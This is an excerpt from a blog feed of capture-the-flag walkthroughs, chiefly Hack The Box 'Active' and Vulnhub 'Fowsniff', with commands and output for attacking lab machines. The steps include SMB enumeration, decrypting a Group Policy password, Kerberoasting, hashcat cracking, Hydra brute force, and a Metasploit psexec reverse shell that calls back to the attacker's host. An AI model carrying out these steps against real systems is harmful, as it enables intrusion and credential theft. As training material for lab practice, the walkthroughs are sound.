<p>As always, excellent video by ippsec on this box.</p>
<p><iframe title="HackTheBox - Hawk" width="750" height="422" src="https://www.youtube.com/embed/UGd9JE1ZXUI?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></p>
<!--kg-card-end: html-->]]></content:encoded></item><item><title><![CDATA[Active - Hackthebox.eu]]></title><description><![CDATA[<!--kg-card-begin: html--><p>I had so much fun with this recently retired box. My skill set with Active Directory was lacking, so this was quite a learning experience!</p>
<h1>Enumeration</h1>
<p>Nmap baby, Nmap:</p>
<p>[bash]</p>
<p>nmap -sC -sV -p- -oA initial 10.10.10.100<br>
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-02 18:</p>]]></description><link>https://www.capturetheflags.com/hack-the-box-active/</link><guid isPermaLink="false">602ed4610bcf7d0001010788</guid><category><![CDATA[active]]></category><category><![CDATA[capturetheflag]]></category><category><![CDATA[ctf]]></category><category><![CDATA[information security]]></category><category><![CDATA[walkthrough]]></category><category><![CDATA[writeup]]></category><dc:creator><![CDATA[FlagCapturer]]></dc:creator><pubDate>Tue, 11 Dec 2018 02:02:13 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: html--><p>I had so much fun with this recently retired box. My skill set with Active Directory was lacking, so this was quite a learning experience!</p>
<h1>Enumeration</h1>
<p>Nmap baby, Nmap:</p>
<p>[bash]</p>
<p>nmap -sC -sV -p- -oA initial 10.10.10.100<br>
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-02 18:13 UTC<br>
PORT STATE SERVICE VERSION<br>
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)<br>
| dns-nsid:<br>
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)<br>
88/tcp open tcpwrapped<br>
135/tcp open msrpc Microsoft Windows RPC<br>
139/tcp open netbios-ssn Microsoft Windows netbios-ssn<br>
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)<br>
445/tcp open microsoft-ds?<br>
464/tcp open tcpwrapped<br>
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0<br>
636/tcp open tcpwrapped<br>
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)<br>
3269/tcp open tcpwrapped<br>
5722/tcp open msrpc Microsoft Windows RPC<br>
9389/tcp open mc-nmf .NET Message Framing<br>
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>
|_http-server-header: Microsoft-HTTPAPI/2.0<br>
|_http-title: Not Found<br>
49152/tcp open msrpc Microsoft Windows RPC<br>
49153/tcp open msrpc Microsoft Windows RPC<br>
49154/tcp open msrpc Microsoft Windows RPC<br>
49155/tcp open msrpc Microsoft Windows RPC<br>
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0<br>
49158/tcp open msrpc Microsoft Windows RPC<br>
49169/tcp open msrpc Microsoft Windows RPC<br>
49172/tcp open msrpc Microsoft Windows RPC<br>
49182/tcp open msrpc Microsoft Windows RPC<br>
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows</p>
<p>Host script results:<br>
|_clock-skew: mean: -1m18s, deviation: 0s, median: -1m18s<br>
| smb2-security-mode:<br>
| 2.02:<br>
|_ Message signing enabled and required<br>
| smb2-time:<br>
| date: 2018-08-02 18:13:42<br>
|_ start_date: 2018-08-02 09:21:01</p>
<p>[/bash]</p>
<p>Wow, thats a lot of ports. From the inital scan, we can safely say that we are dealing with a Windows machine here. A couple of ports stand out: DNS (53), Samba (445), RPC (all over the place). I initially ran enum4linux on the box to explore the Samba shares, but found the <a href="https://github.com/ShawnDEvans/smbmap">smbmap too</a>l while writing this post which gives a much more clear view of the situation:</p>
<p>[bash]</p>
<p>smbmap -H 10.10.10.100<br>
[+] Finding open SMB ports&#8230;.<br>
[+] User SMB session establishd on 10.10.10.100&#8230;<br>
[+] IP: 10.10.10.100:445 Name: 10.10.10.100<br>
Disk          Permissions<br>
&#8212;-          &#8212;&#8212;&#8212;&#8211;<br>
ADMIN$        NO ACCESS<br>
C$            NO ACCESS<br>
IPC$          NO ACCESS<br>
NETLOGON      NO ACCESS<br>
Replication   READ ONLY<br>
SYSVOL        NO ACCESS<br>
Users         NO ACCESS</p>
<p>[/bash]</p>
<p>Let&#8217;s fire up smbclient to access the Replication share. Just press enter to login anonymously.</p>
<p>[bash]</p>
<p>smbclient //10.10.10.100/Replication<br>
Unable to initialize messaging context<br>
Enter WORKGROUP\user&#8217;s password:<br>
Anonymous login successful<br>
Try &quot;help&quot; to get a list of possible commands.<br>
smb: \&amp;amp;gt;</p>
<p>[/bash]</p>
<p>Cool, that worked. Instead of going through all the directories on this share, I ran smbmap again, but this time the -R argument to list all directories. See what I found:</p>
<p>[bash]</p>
<p>smbmap -H 10.10.10.100 -R<br>
[+] Finding open SMB ports&#8230;.<br>
[+] User SMB session establishd on 10.10.10.100&#8230;<br>
[+] IP: 10.10.10.100:445 Name: 10.10.10.100<br>
Disk Permissions<br>
&#8212;- &#8212;&#8212;&#8212;&#8211;<br>
ADMIN$ NO ACCESS<br>
C$ NO ACCESS<br>
IPC$ NO ACCESS<br>
NETLOGON NO ACCESS<br>
Replication READ ONLY<br>
.\<br>
dr&#8211;r&#8211;r&#8211; 0 Sat Jul 21 10:37:44 2018 .<br>
dr&#8211;r&#8211;r&#8211; 0 Sat Jul 21 10:37:44 2018 ..<br>
dr&#8211;r&#8211;r&#8211; 0 Sat Jul 21 10:37:44 2018 active.htb</p>
<p>*** Snip***</p>
<p>.\\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\<br>
dr&#8211;r&#8211;r&#8211; 0 Sat Jul 21 10:37:44 2018 .<br>
dr&#8211;r&#8211;r&#8211; 0 Sat Jul 21 10:37:44 2018 ..<br>
-r&#8211;r&#8211;r&#8211; 533 Sat Jul 21 10:38:11 2018 Groups.xml</p>
<p>[/bash]</p>
<p>Ah, the infamous Groups.xml. <a href="https://pentestlab.blog/tag/cpassword/">From this excellent blog post</a>:</p>
<p><em>Group policy preferences allows domain admins to create and deploy across the domain local users and local administrators accounts. This feature was introduced in Windows 2008 Server however it can be abused by an attacker since the credentials of these accounts are stored encrypted and the public <a href="https://msdn.microsoft.com/en-us/library/cc422924.aspx" target="_blank" rel="noopener">key</a> is published by Microsoft. This leaves the door open to any user to retrieve these files and decrypt the passwords stored in order to elevate access.</em></p>
<p><em>These files are stored in a shared directory in the domain controller and any authenticated user in the domain has read access to these files since it is needed in order to obtain group policy updates.</em></p>
<p>The contents of Groups.xml is the following:</p>
<p>[bash]</p>
<p>&amp;amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;amp;gt;<br>
&amp;amp;lt;Groups clsid=&quot;{3125E937-EB16-4b4c-9934-544FC6D24D26}&quot;&amp;amp;gt;&amp;amp;lt;User clsid=&quot;{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}&quot; name=&quot;active.htb\SVC_TGS&quot; image=&quot;2&quot; changed=&quot;2018-07-18 20:46:06&quot; uid=&quot;{EF57DA28-5F69-4530-A59E-AAB58578219D}&quot;&amp;amp;gt;&amp;amp;lt;Properties action=&quot;U&quot; newName=&quot;&quot; fullName=&quot;&quot; description=&quot;&quot; cpassword=&quot;edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ&quot; changeLogon=&quot;0&quot; noChange=&quot;1&quot; neverExpires=&quot;1&quot; acctDisabled=&quot;0&quot; userName=&quot;active.htb\SVC_TGS&quot;/&amp;amp;gt;&amp;amp;lt;/User&amp;amp;gt;<br>
&amp;amp;lt;/Groups&amp;amp;gt;</p>
<p>[/bash]</p>
<p>So we see 3 key values here:</p>
<ol>
<li>The domain (active.htb)</li>
<li>Username (SVC_TGS)</li>
<li>And the actual value (cpassword)</li>
</ol>
<p>The stored value can be decrypted using either <a href="https://www.rapid7.com/db/modules/post/windows/gather/credentials/gpp">a Metasploit module</a>, <a href="https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1">PowerSploit module</a> or this tool I used called <a href="https://gist.github.com/ahhh/3c05d8cfc8d230949fce">Gpprefdecrypt.py</a> I&#8217;ve edited the hash and password a bit to prevent to usual Google-fu.</p>
<p>[bash]</p>
<p>python Gpprefdecrypt.py [e]dBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ</p>
<p>[G]PPstillStandingStrong2k18</p>
<p>[/bash]</p>
<h1>Exploitation</h1>
<p>I switched to the Impacket toolset, based on the Kerberoasting posts I&#8217;ve found as noted on <a href="http://capturetheflags.com/tools-for-ctf/">the tools page</a>.</p>
<p>[bash]</p>
<p>python GetUserSPNs.py -request -dc-ip 10.10.10.100 active.htb/SVC_TGS<br>
Impacket v0.9.18-dev &#8211; Copyright 2002-2018 Core Security Technologies</p>
<p>Password:<br>
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon<br>
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; &#8212;&#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br>
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 19:06:40 2018-07-30 17:17:40</p>
<p>$[k]rb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$93a0a6cf83fa8e765bacccf1ea177432$b910699f5f73c858e8300ed38048b5fb0e7cfcadaef468c7fc8f80b41858e444c7586cde377debef18c50f6a9f13857887b31c808e7af81282a4eddbfb1da2610591908db563fb202762e28eb6f0157f70b8aa98dd53d694276ef0f126b896e543e2812b4b27461af3e791b7c4dcb245241a2706df6ae19da51750c470cdd010675d1d0ccba4e5ef5f656f230837f1e03b6eb6cf413559df7f8c11ae7dab8118bc1e99c7ebc1c2c4b7ff6f5b9ae04cd3f5013dcd21b4c34cc68a6cf56198a001adb38e847d9fde80b6d52b7f4357f59dc2e2f0af0f29e27dd20934f90c330e22d96c109d4071d712d20bc9274cc52b0ce56b3f0ed5176fc39edc1a9bbbae78cad6a9b6e6b53b211188e591ae49e5147d27593ed27e3a0ce4bee9fce01b73296dfa1026980f6b5047c31c9a494272d9a5f9de5f0634202ab44fc476844eaa9fe89ac1a393075635d111b5ec9ffd3399769e7d1f401071786b00639d132726dc83af898c93ac7c1cfcc2da92a506cc50040f36e5607cc70e731c13c9e6a2d3419e6b43a855922bde75d45f5ee9083728c828bb75dcfde9b84fb27d80b5661648db357c10e8ddd28c29f035cef9722c8906cc5dbd09d0614a28fe4bcde476532a7b868cea09d270cdfe9df2ba11330519463bbfbaa074d900376bfcb277fd92a61a2b3c598d8b3d6f45f23642161e3a37af70bcde771823a72e356c0116ad5da190380f1e0a07816eb680d404e468e46a5ac64a7a631d4dd85520357b3d190ca10d09d12635d12360b89787f7ab607287c7f243ec70f98fd9b05325745a91d25de64fdfdaf0ec72226c17f8a990a0465d84c7750213f36efaf7087b1f293b29cabd26abb7101d06865fa307a0ce39a2a80f294a485174564d3928d4920e07e6a44b0ac22d4f181d42c0c6baec02554f6995d2031160f9cc6d3819dbbb263be35de395951b27ed1d0ccf73e3724a0a7606ec8f5f5e84a47b4da508d277aa1967ef66c057cb031a4a06f8a3709f6ee2c2043316c2bcdd4740c685028eab2878d07edb164346bbfe3166680cac8c6d96c480dd6cf2c7d0a04f4d889ef26a887124ae28d28c709811f8f45a9f31d1f4aa77c2cc4311b76e54dd83a927d175dc91e34971528c2365175ef8d19db024f6b997901424da839c6b86df032a2db7841c69e40a3448dbcfc13b9aa51127d8f59605d35ac16fb9967ecaf9fbb011c979c8d30b62a6f08131f5fd3672fedbcf4f53e04ebe954841b32f6796c2a719</p>
<p>[/bash]</p>
<p>What we have here is the hash of the Kerberos ticket for the administrator account. With the Kerberos hash in place, I can start cracking it with Hashcat. I&#8217;ve put the hash into a file named administrator_hash.txt, use rockyou.txt as a wordlist and use &#8211;force to override some errors what I got:</p>
<p>[bash]</p>
<p>hashcat -m 13100 -a 0 administrator_hash.txt /usr/share/wordlists/rockyou.txt &#8211;force</p>
<p>**Cracking***</p>
<p>Output =&amp;nbsp;T[i]cketmaster1968</p>
<p>[/bash]</p>
<p>There we have the administrator password. Nice.</p>
<h1>Privilege escalation</h1>
<p>Finally, you can use psexec.py from the Impacket package to pass the cracked hash to the server to login. Or just login with smbclient using administrator and the cracked hash. I opted for the Metasploit module in this case, with a reverse TCP shell:</p>
<p>[bash]</p>
<p>Module options (exploit/windows/smb/psexec):</p>
<p>Name Current Setting Required Description<br>
&#8212;- &#8212;&#8212;&#8212;&#8212;&#8212; &#8212;&#8212;&#8211; &#8212;&#8212;&#8212;&#8211;<br>
RHOST 10.10.10.100 yes The target address<br>
RPORT 445 yes The SMB service port (TCP)<br>
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing<br>
SERVICE_DISPLAY_NAME no The service display name<br>
SERVICE_NAME no The service name<br>
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,&#8230;) or a normal read/write folder share<br>
SMBDomain . no The Windows domain to use for authentication<br>
SMBPass Ticketmaster1968 no The password for the specified username<br>
SMBUser Administrator no The username to authenticate as</p>
<p>Payload options (windows/meterpreter/reverse_tcp):</p>
<p>Name Current Setting Required Description<br>
&#8212;- &#8212;&#8212;&#8212;&#8212;&#8212; &#8212;&#8212;&#8211; &#8212;&#8212;&#8212;&#8211;<br>
EXITFUNC thread yes Exit technique (Accepted: &#8221;, seh, thread, process, none)<br>
LHOST tun0 yes The listen address (an interface may be specified)<br>
LPORT 443 yes The listen port</p>
<p>Exploit target:</p>
<p>Id Name<br>
&#8212; &#8212;-<br>
0 Automatic</p>
<p>[/bash]</p>
<p>If all goes well, you will spawn a shell at the box as SYSTEM. Simply go to the desktop of the administrator for the root flag. You can even get the user flag from the user desktop.</p>
<p>&nbsp;</p>
<p>[bash]</p>
<p>[*] Started reverse TCP handler on 10.10.14.10:443<br>
[*] 10.10.10.100:445 &#8211; Connecting to the server&#8230;<br>
[*] 10.10.10.100:445 &#8211; Authenticating to 10.10.10.100:445 as user &#8216;Administrator&#8217;&#8230;<br>
[*] 10.10.10.100:445 &#8211; Selecting PowerShell target<br>
[*] 10.10.10.100:445 &#8211; Executing the payload&#8230;<br>
[+] 10.10.10.100:445 &#8211; Service start timed out, OK if running a command or non-service executable&#8230;<br>
[*] Sending stage (179779 bytes) to 10.10.10.100<br>
[*] Meterpreter session 1 opened (10.10.14.10:443 -&amp;gt; 10.10.10.100:63354) at 2018-12-11 01:55:49 +0000</p>
<p>meterpreter &amp;gt; shell<br>
Process 2000 created.<br>
Channel 1 created.<br>
Microsoft Windows [Version 6.1.7601]<br>
Copyright (c) 2009 Microsoft Corporation. All rights reserved.</p>
<p>C:\Windows\system32&amp;gt;whoami<br>
whoami<br>
nt authority\system</p>
<p>[/bash]</p>
<p>&nbsp;</p>
<p>Psexec output as well:</p>
<p>[bash]</p>
<p>/psexec.py -target-ip 10.10.10.100 administrator@active.htb<br>
Impacket v0.9.18-dev &#8211; Copyright 2002-2018 Core Security Technologies</p>
<p>Password:<br>
[*] Requesting shares on 10.10.10.100&#8230;..<br>
[*] Found writable share ADMIN$<br>
[*] Uploading file GtlPZcTM.exe<br>
[*] Opening SVCManager on 10.10.10.100&#8230;..<br>
[*] Creating service OAuq on 10.10.10.100&#8230;..<br>
[*] Starting service OAuq&#8230;..<br>
[!] Press help for extra shell commands<br>
Microsoft Windows [Version 6.1.7601]<br>
Copyright (c) 2009 Microsoft Corporation. All rights reserved.</p>
<p>C:\Windows\system32&amp;gt;whoami<br>
nt authority\system</p>
<p>[/bash]</p>
<p>And as always, the Ippsec video on this box.</p>
<p><iframe title="HackTheBox - Active" width="750" height="422" src="https://www.youtube.com/embed/jUc1J31DNdw?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></p>
<!--kg-card-end: html-->]]></content:encoded></item><item><title><![CDATA[Vulnhub - Fowsniff 1]]></title><description><![CDATA[<!--kg-card-begin: html--><p>Finally had time to do another Vulnhub machine. Fowsniff looked fun and a friend of mine recommended it due to the Twitter component, so lets get started!</p>
<h1>Enumeration</h1>
<p>As always, lets start with an nmap:</p>
<p>[bash]</p>
<p>nmap -sC -sV -p- -oA initial 192.168.56.101<br>
Starting Nmap 7.70</p>]]></description><link>https://www.capturetheflags.com/vulnhub-fowsniff-1/</link><guid isPermaLink="false">602ed4610bcf7d0001010787</guid><category><![CDATA[capturetheflag]]></category><category><![CDATA[ctf]]></category><category><![CDATA[information security]]></category><category><![CDATA[vulnhub]]></category><category><![CDATA[walkthrough]]></category><category><![CDATA[writeup]]></category><dc:creator><![CDATA[FlagCapturer]]></dc:creator><pubDate>Mon, 10 Dec 2018 02:29:16 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: html--><p>Finally had time to do another Vulnhub machine. Fowsniff looked fun and a friend of mine recommended it due to the Twitter component, so lets get started!</p>
<h1>Enumeration</h1>
<p>As always, lets start with an nmap:</p>
<p>[bash]</p>
<p>nmap -sC -sV -p- -oA initial 192.168.56.101<br>
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-05 20:36 CET<br>
Nmap scan report for 192.168.56.101<br>
Host is up (0.00030s latency).<br>
Not shown: 65531 closed ports<br>
PORT STATE SERVICE VERSION<br>
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)<br>
| ssh-hostkey:<br>
| 2048 90:35:66:f4:c6:d2:95:12:1b:e8:cd:de:aa:4e:03:23 (RSA)<br>
| 256 53:9d:23:67:34:cf:0a:d5:5a:9a:11:74:bd:fd:de:71 (ECDSA)<br>
|_ 256 a2:8f:db:ae:9e:3d:c9:e6:a9:ca:03:b1:d7:1b:66:83 (ED25519)<br>
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))<br>
| http-robots.txt: 1 disallowed entry<br>
|_/<br>
|_http-server-header: Apache/2.4.18 (Ubuntu)<br>
|_http-title: Fowsniff Corp &#8211; Delivering Solutions<br>
110/tcp open pop3 Dovecot pop3d<br>
|_pop3-capabilities: UIDL RESP-CODES PIPELINING AUTH-RESP-CODE USER SASL(PLAIN) TOP CAPA<br>
143/tcp open imap Dovecot imapd<br>
|_imap-capabilities: IMAP4rev1 LOGIN-REFERRALS OK ENABLE AUTH=PLAINA0001 have listed post-login SASL-IR IDLE Pre-login capabilities more LITERAL+ ID<br>
MAC Address: 08:00:27:92:B1:9E (Oracle VirtualBox virtual NIC)<br>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</p>
<p>[/bash]</p>
<p>So we have HTTP (80), SSH (22) and POP3 (110). Browsing the site indicates that Fowsniff sites has been compromised and points towards Twitter. Searching for Fowsniff on Twitter leads to the following tweets on https://twitter.com/fowsniffcorp</p>
<p><img loading="lazy" class="alignnone size-full wp-image-250" src="http://capturetheflags.com/wp-content/uploads/2018/12/2018-12-10-03_01_43-FowSniffCorp-Pwned-@FowsniffCorp-_-Twitter.png" alt width="585" height="295"></p>
<p>Seems like they have their passwords leaked. The even give a specific one:</p>
<p>&nbsp;</p>
<p><img loading="lazy" class="alignnone size-full wp-image-251" src="http://capturetheflags.com/wp-content/uploads/2018/12/2018-12-10-03_02_12-FowSniffCorp-Pwned-@FowsniffCorp-_-Twitter.png" alt width="601" height="93"></p>
<p>Visiting the pastebin link referred to by the first link on https://pastebin.com/raw/NrAqVeeX leads to the output noted below. I&#8217;ve made some changes to the usernames and hashes to prevent Google-fu 🙂</p>
<p>[bash]</p>
<p>FOWSNIFF CORP PASSWORD LEAK<br>
&#8221;~&#8220;<br>
( o o )<br>
+&#8212;&#8211;.oooO&#8211;(_)&#8211;Oooo.&#8212;&#8212;+<br>
| |<br>
| FOWSNIFF |<br>
| got |<br>
| PWN3D!!! |<br>
| |<br>
| .oooO |<br>
| ( ) Oooo. |<br>
+&#8212;&#8212;&#8212;\ (&#8212;-( )&#8212;&#8212;-+<br>
\_) ) /<br>
(_/<br>
FowSniff Corp got pwn3d by B1gN1nj4!<br>
No one is safe from my 1337 skillz!</p>
<p>*auer@fowsniff:[8]a28a94a588a95b80163709ab4313aa4<br>
*ustikka@fowsniff:[a]e1644dac5b77c0cf51e0d26ad6d7e56<br>
*egel@fowsniff:[1]dc352435fecca338acfd4be10984009<br>
*aksteen@fowsniff:[1]9f5af754c31f1e2651edde9250d69bb<br>
*eina@fowsniff:[9]0dc16d47114aa13671c697fd506cf26<br>
*tone@fowsniff:[a]92b8a29ef1183192e3d35187e0cfabd<br>
*ursten@fowsniff:[0]e9588cb62f4b6f27e33d449e2ba0b3b<br>
*arede@fowsniff:[4]d6e42f56e127803285a0a7649b5ab11<br>
*ciana@fowsniff:[f]7fd98d380735e859f8b2ffbbede5a7e</p>
<p>Fowsniff Corporation Passwords LEAKED!<br>
FOWSNIFF CORP PASSWORD DUMP!</p>
<p>Here are their email passwords dumped from their databases.<br>
They left their pop3 server WIDE OPEN, too!</p>
<p>MD5 is insecure, so you shouldn&#8217;t have trouble cracking them but I was too lazy haha =P</p>
<p>l8r n00bz!</p>
<p>B1gN1nj4</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br>
This list is entirely fictional and is part of a Capture the Flag educational challenge.</p>
<p>All information contained within is invented solely for this purpose and does not correspond<br>
to any real persons or organizations.</p>
<p>Any similarities to actual people or entities is purely coincidental and occurred accidentally.</p>
<p>[/bash]</p>
<p>Okay, so their passwords were dumped in MD5 format. Lets get cracking!</p>
<p>&nbsp;</p>
<h1>Exploitation</h1>
<p>I&#8217;ve used hashcat to crack these hashes. I&#8217;ve put all the hashes in a file named hashes and used rockyou.txt to have a crack at them. I&#8217;ve replaced the initial character with a * and passwords have a [] at the beginning because I don&#8217;t want everyone to stumble into the solution using Google.</p>
<p>[bash]</p>
<p>hashcat -m 0 passwords /usr/share/wordlists/SecLists/Passwords/Leaked-Databases/rockyou.txt &#8211;force<br>
hashcat (v5.0.0) starting&#8230;</p>
<p>Dictionary cache building /usr/share/wordlists/SecLists/Passwords/Leaked-DatabasDictionary cache building /usr/share/wordlists/SecLists/Passwords/Leaked-DatabasDictionary cache building /usr/share/wordlists/SecLists/Passwords/Leaked-DatabasDictionary cache building /usr/share/wordlists/SecLists/Passwords/Leaked-DatabasDictionary cache built:<br>
* Filename..: /usr/share/wordlists/SecLists/Passwords/Leaked-Databases/rockyou.txt<br>
* Passwords.: 14344391<br>
* Bytes&#8230;..: 139921497<br>
* Keyspace..: 14344384<br>
* Runtime&#8230;: 4 secs</p>
<p>*0dc16d47114aa13671c697fd506cf26:[s]coobydoo2<br>
*d6e42f56e127803285a0a7649b5ab11:[o]rlando12<br>
*dc352435fecca338acfd4be10984009:[a]pples01<br>
*9f5af754c31f1e2651edde9250d69bb:[s]kyler22<br>
*a28a94a588a95b80163709ab4313aa4:[m]ailcall<br>
*7fd98d380735e859f8b2ffbbede5a7e:[0]7011972<br>
*e9588cb62f4b6f27e33d449e2ba0b3b:[c]arp4ever<br>
*e1644dac5b77c0cf51e0d26ad6d7e56:[b]ilbo101<br>
[/bash]</p>
<p>I got 8 out of 9. Nice! I then used Hydra to see which username lines up with which password for the pop3 port, before moving to SSH. I&#8217;ve put all the usernames in the usernames file and passwords in a file named passwords.</p>
<p>[bash]</p>
<p>hydra -L usernames -P passwords -e nsr pop3://192.168.56.101</p>
<p>sudo hydra -L usernames -P passwords -e nsr pop3://192.168.56.101 -v<br>
Hydra v8.6 (c) 2017 by van Hauser/THC &#8211; Please do not use in military or secret service organizations, or for illegal purposes.</p>
<p>Hydra (http://www.thc.org/thc-hydra) starting at 2018-12-05 21:38:33<br>
[INFO] several providers have implemented cracking protection, check with a small wordlist first &#8211; and stay legal!<br>
[DATA] max 16 tasks per 1 server, overall 16 tasks, 99 login tries (l:9/p:11), ~7 tries per task<br>
[DATA] attacking pop3://192.168.56.101:110/<br>
[VERBOSE] Resolving addresses &#8230; [VERBOSE] resolving done<br>
[VERBOSE] CAPABILITY: +OK<br>
CAPA<br>
TOP<br>
UIDL<br>
RESP-CODES<br>
PIPELINING<br>
AUTH-RESP-CODE<br>
USER<br>
SASL PLAIN<br>
.<br>
[VERBOSE] using POP3 PLAIN AUTH mechanism<br>
[110][pop3] host: 192.168.56.101 login: [s]eina password: [s]coobydoo2<br>
[STATUS] attack finished for 192.168.56.101 (waiting for children to complete tests)<br>
[STATUS] 99.00 tries/min, 99 tries in 00:01h, 1 to do in 00:01h, 12 active<br>
1 of 1 target successfully completed, 1 valid password found<br>
[/bash]</p>
<p>Let&#8217;s login to the POP3 and see what goodies await:</p>
<p>[bash]</p>
<p>nc 192.168.56.101 110<br>
+OK Welcome to the Fowsniff Corporate Mail Server!<br>
USER [s]eina<br>
+OK<br>
PASS [s]coobydoo2<br>
+OK Logged in.<br>
LIST<br>
+OK 2 messages:<br>
1 1622<br>
2 1280</p>
<p>Return-Path: &lt;[s]tone@fowsniff&gt;<br>
X-Original-To: [s]eina@fowsniff<br>
Delivered-To: [s]eina@fowsniff<br>
Received: by fowsniff (Postfix, from userid 1000)<br>
id 0FA3916A; Tue, 13 Mar 2018 14:51:07 -0400 (EDT)<br>
To: [b]aksteen@fowsniff, [m]auer@fowsniff, [m]ursten@fowsniff,<br>
[m]ustikka@fowsniff, [p]arede@fowsniff, [s]ciana@fowsniff, [s]eina@fowsniff,<br>
[t]egel@fowsniff<br>
Subject: URGENT! Security EVENT!<br>
Message-Id: &lt;20180313185107.0FA3916A@fowsniff&gt;<br>
Date: Tue, 13 Mar 2018 14:51:07 -0400 (EDT)<br>
From: [s]tone@fowsniff (stone)</p>
<p>Dear All,</p>
<p>A few days ago, a malicious actor was able to gain entry to<br>
our internal email systems. The attacker was able to exploit<br>
incorrectly filtered escape characters within our SQL database<br>
to access our login credentials. Both the SQL and authentication<br>
system used legacy methods that had not been updated in some time.</p>
<p>We have been instructed to perform a complete internal system<br>
overhaul. While the main systems are &quot;in the shop,&quot; we have<br>
moved to this isolated, temporary server that has minimal<br>
functionality.</p>
<p>This server is capable of sending and receiving emails, but only<br>
locally. That means you can only send emails to other users, not<br>
to the world wide web. You can, however, access this system via<br>
the SSH protocol.</p>
<p>The temporary password for SSH is &quot;[S]1ck3nBluff+secureshell&quot;</p>
<p>You MUST change this password as soon as possible, and you will do so under my<br>
guidance. I saw the leak the attacker posted online, and I must say that your<br>
passwords were not very secure.</p>
<p>Come see me in my office at your earliest convenience and we&#8217;ll set it up.</p>
<p>Thanks,<br>
A.J Stone</p>
<p>[/bash]</p>
<p>Yes, we got the SSH password! Let&#8217;s fire up Hydra again to see who uses this password:</p>
<p>[bash]</p>
<p>hydra -L usernames -p [S]1ck3nBluff+secureshell -e nsr ssh://192.168.56.101<br>
Hydra v8.6 (c) 2017 by van Hauser/THC &#8211; Please do not use in military or secret service organizations, or for illegal purposes.</p>
<p>Hydra (http://www.thc.org/thc-hydra) starting at 2018-12-08 20:05:25<br>
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4<br>
[DATA] max 16 tasks per 1 server, overall 16 tasks, 36 login tries (l:9/p:4), ~3 tries per task<br>
[DATA] attacking ssh://192.168.56.101:22/<br>
[22][ssh] host: 192.168.56.101 login: [b]aksteen password: [S]1ck3nBluff+secureshell<br>
1 of 1 target successfully completed, 1 valid password found<br>
[/bash]</p>
<p>Let&#8217;s login using SSH and the aforementioned user.</p>
<p>ssh 192.168.56.101 -l [b]aksteen<br>
The authenticity of host &#8216;192.168.56.101 (192.168.56.101)&#8217; can&#8217;t be established.<br>
[b]aksteen@192.168.56.101&#8217;s password:</p>
<p>_____ _ __ __<br>
:sdddddddddddddddy+ | ___|____ _____ _ __ (_)/ _|/ _|<br>
:yNMMMMMMMMMMMMMNmhsso | |_ / _ \ \ /\ / / __| &#8216;_ \| | |_| |_<br>
.sdmmmmmNmmmmmmmNdyssssso | _| (_) \ V V /\__ \ | | | | _| _|<br>
-: y. dssssssso |_| \___/ \_/\_/ |___/_| |_|_|_| |_|<br>
-: y. dssssssso ____<br>
-: y. dssssssso / ___|___ _ __ _ __<br>
-: y. dssssssso | | / _ \| &#8216;__| &#8216;_ \<br>
-: o. dssssssso | |__| (_) | | | |_) | _<br>
-: o. yssssssso \____\___/|_| | .__/ (_)<br>
-: .+mdddddddmyyyyyhy: |_|<br>
-: -odMMMMMMMMMMmhhdy/.<br>
.ohdddddddddddddho: Delivering Solutions</p>
<p>**** Welcome to the Fowsniff Corporate Server! ****</p>
<p>&#8212;&#8212;&#8212;- NOTICE: &#8212;&#8212;&#8212;-</p>
<p>* Due to the recent security breach, we are running on a very minimal system.<br>
* Contact AJ Stone -IMMEDIATELY- about changing your email and SSH passwords.</p>
